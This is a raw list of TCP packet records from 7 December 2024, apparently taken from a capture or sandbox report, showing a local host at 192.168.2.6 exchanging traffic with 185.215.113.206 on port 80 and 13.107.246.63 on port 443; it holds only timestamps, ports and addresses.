Dec 7, 2024 22:40:43.105287075 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.105333090 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.105395079 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.105443001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.106304884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.106355906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.106393099 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.106437922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.107161999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.107213020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.107286930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.107333899 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.108093023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.108200073 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.118818045 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.118872881 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.118885994 CET	443	49803	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.118904114 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.118956089 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.118964911 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.118966103 CET	443	49803	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.119019032 CET	49803	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.119021893 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.119266033 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.119266987 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.119277954 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.119277954 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.119293928 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.119299889 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.119316101 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.119321108 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.119555950 CET	49803	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.119566917 CET	443	49803	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.119599104 CET	49803	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.119605064 CET	443	49803	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.122239113 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.122276068 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.122339964 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.122463942 CET	49807	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.122471094 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.122477055 CET	443	49807	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.122502089 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.122554064 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.122627974 CET	49808	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.122637987 CET	443	49808	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.123040915 CET	49809	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.123064041 CET	443	49809	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.123122931 CET	49809	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.123204947 CET	49809	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.123214960 CET	443	49809	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.193125963 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.193140984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.193237066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.193402052 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.193453074 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.193490982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.193536997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.194318056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.194405079 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.194443941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.194488049 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.195261002 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.195317030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.195353031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.195399046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.196193933 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.196247101 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.196300983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.196341991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.197149038 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.197201967 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.197282076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.197340012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.198081017 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.198151112 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.198209047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.198257923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.199098110 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.199161053 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.199240923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.199292898 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.200015068 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.200072050 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.200105906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.200148106 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.200946093 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.200992107 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.201050043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.201092005 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.201838017 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.201903105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.260612011 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.260623932 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.260721922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.260895014 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.260948896 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.261037111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.261085033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.261575937 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.261591911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.261655092 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.262387037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.262455940 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.262526989 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.262587070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.263324022 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.263340950 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.263413906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.264211893 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.264300108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.264353037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.264420986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.265166044 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.265181065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.265249968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.266395092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.266407967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.266482115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.267282963 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.267363071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.267421007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.267472029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.268022060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.268034935 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.268099070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.268856049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.268937111 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.268996000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.269046068 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.269824982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.269908905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.269932985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.269979000 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.270802975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.270878077 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.270951986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.271001101 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.271682024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.271745920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.271752119 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.271790028 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.272696018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.272710085 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.272767067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.273662090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.273675919 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.273736000 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.274508953 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.274522066 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.274583101 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.275535107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.275547981 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.275613070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.276256084 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.276325941 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.276422024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.276477098 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.277209044 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.277276993 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.277288914 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.277328968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.278132915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.278201103 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.278243065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.278285980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.279077053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.279145956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.279182911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.279234886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.280076981 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.280141115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.280173063 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.280216932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.280956984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.281024933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.281101942 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.281150103 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.281917095 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.281970978 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.282077074 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.282119989 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.282875061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.282929897 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.282963037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.283004999 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.283850908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.283905983 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.283921957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.283963919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.284756899 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.284806013 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.284840107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.284884930 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.285666943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.285717964 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.285770893 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.285818100 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.286640882 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.286691904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.286750078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.286796093 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.287561893 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.287607908 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.287691116 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.287734985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.288521051 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.288572073 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.288625956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.288670063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.289450884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.289505005 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.289565086 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.289608955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.290402889 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.290450096 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.290519953 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.290565968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.291356087 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.291415930 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.291446924 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.291493893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.292293072 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.292355061 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.292414904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.292463064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.293257952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.293327093 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.293330908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.293369055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.294190884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.294239044 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.294353008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.294397116 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.295135975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.295187950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.295223951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.295263052 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.296080112 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.296132088 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.296166897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.296207905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.297012091 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.297063112 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.297100067 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.297138929 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.297957897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.298017979 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.298079967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.298129082 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.298935890 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.298986912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.299034119 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.299082994 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.299850941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.299907923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.385421991 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.385466099 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.385484934 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.385508060 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.385899067 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.385951996 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.385977030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.386014938 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.386630058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.386678934 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.386723995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.386758089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.387540102 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.387598991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.387675047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.387717962 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.388485909 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.388549089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.388624907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.388673067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.389431000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.389480114 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.389537096 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.389578104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.390384912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.390438080 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.390481949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.390527964 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.391336918 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.391388893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.391447067 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.391486883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.392271996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.392317057 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.392370939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.392410040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.393232107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.393280029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.393315077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.393362999 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.394123077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.394165039 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.401133060 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.401619911 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.401638985 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.402110100 CET	49805	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:43.402117014 CET	443	49805	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:43.452034950 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.452060938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.452186108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.452369928 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.452394009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.452406883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.453306913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.453324080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.453366041 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.453392982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.453461885 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.453504086 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.453739882 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.453782082 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.454448938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.454525948 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.454574108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.454623938 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.455394030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.455446005 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.455540895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.455581903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.456324100 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.456397057 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.456460953 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.456509113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.457267046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.457330942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.457400084 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.457443953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.458223104 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.458276033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.458333015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.458378077 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.459150076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.459206104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:43.459280014 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:43.459319115 CET	49790	80	192.168.2.6	185.215.113.206
